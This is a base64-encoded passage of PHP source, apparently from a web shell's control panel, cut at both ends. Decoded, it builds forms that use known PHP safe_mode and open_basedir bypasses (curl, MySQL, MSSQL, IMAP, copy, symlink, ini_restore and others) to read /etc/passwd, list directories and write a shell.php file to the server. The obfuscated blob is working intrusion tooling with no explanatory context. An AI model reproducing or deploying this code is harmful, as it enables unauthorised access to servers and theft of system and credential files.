lc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmJGN1cmxfb24gJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzMnXSwnaWQxMicpLiR0YWJsZV91cDIuZGl2KCdpZDEyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDFfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDFfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmJG15c3FsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM1J10sJ2lkMTMnKS4kdGFibGVfdXAyLmRpdignaWQxMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWQnXSk/KCRfUE9TVFsndGVzdDNfbWQnXSk6KCJteXNxbCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWwnXSk/KCRfUE9TVFsndGVzdDNfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tcCddKT8oJF9QT1NUWyd0ZXN0M19tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSk/KCRfUE9TVFsndGVzdDNfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19maWxlJ10pPygkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJiRtc3NxbF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NSddLCdpZDE0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21kJ10pPygkX1BPU1RbJ3Rlc3Q0X21kJ10pOigibWFzdGVyIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tbCddKT8oJF9QT1NUWyd0ZXN0NF9tbCddKTooInNhIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tcCddKT8oJF9QT1NUWyd0ZXN0NF9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk/KCRfUE9TVFsndGVzdDRfcG9ydCddKTooIjE0MzMiKSkpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDRfZmlsZSddKTooImRpciIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJiR1bml4ICYmQGZ1bmN0aW9uX2V4aXN0cygnbWJfc2VuZF9tYWlsJykgJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMiddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDVfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfbGlzdCcpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTMnXSwnaWQyMCcpLiR0YWJsZV91cDIuZGl2KCdpZDIwJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Nl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDZfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfYm9keScpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnY29weScpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDIyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3Jlc3RvcmUnKSAmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIwJ10sJ2lkMjMnKS4kdGFibGVfdXAyLmRpdignaWQyMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q5X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q5X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0OScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4wLjAiKTwwKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjEnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTBfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMF9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMF9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEwJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnZ2xvYicpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjInXSwnaWQxOScpLiR0YWJsZV91cDIuZGl2KCdpZDE5JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MThfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MThfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzAnXSwnaWQyNScpLiR0YWJsZV91cDIuZGl2KCdpZDI1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDExX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDExX2ZpbGUnXSk6KCIvdG1wL3Rlc3QuemlwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjMnXSwnaWQyNicpLiR0YWJsZV91cDIuZGl2KCdpZDI2JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEyX2ZpbGUnXSk6KCIvdG1wL3Rlc3QuYnppcCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9sb2cnKSAmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjQnXSwnaWQyNycpLiR0YWJsZV91cDIuZGl2KCdpZDI3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iICIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxM19maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxM19maWxlMiddKT8oJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk6KCRkaXIuIi9zaGVsbC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEzJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxM19maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxM19maWxlMSddKT8oJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNiddLCdpZDI4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjgnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNF9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNF9maWxlMiddKT8oJF9QT1NUWyd0ZXN0MTRfZmlsZTInXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTQnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE0X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNyddLCdpZDI5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTooJGRpci4iL3NoZWxsLnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTUnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi40Iik8PTApDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI5J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pOigkZGlyLiIvdGVzdC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpICYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQ0Kew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0czsNCmVjaG8gIjx0cj48dGQgdmFsaWduPXRvcCB3aWR0aD03MCU+Ii4kdHM7DQplY2hvIHNyKDIwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsJGZzLmluKCd0ZXh0JywndGVzdDE3X2ZpbGUnLDYwLCghZW1wdHkoJF9QT1NUWyd0ZXN0MTdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18xJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM2J10pLiRmZSk7DQplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7DQplY2hvIHNyKDAsIiIsJGZzLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3XzInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pLiRmZSk7DQplY2hvICR0ZS4iPC90ZD48L3RyPiI7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykgJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApDQp7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzInXSwnaWQxOCcpLiR0YWJsZV91cDIuZGl2KCdpZDE4JykuJHRzOw0KZWNobyAiPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTcwJT4iLiR0czsNCmVjaG8gc3IoMjAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9MzAlPiIuJHRzOw0KZWNobyBzcigwLCIiLCRmcy5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18zJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PC90cj4iOw0KZWNobyAkdGUuJzwvZGl2Picu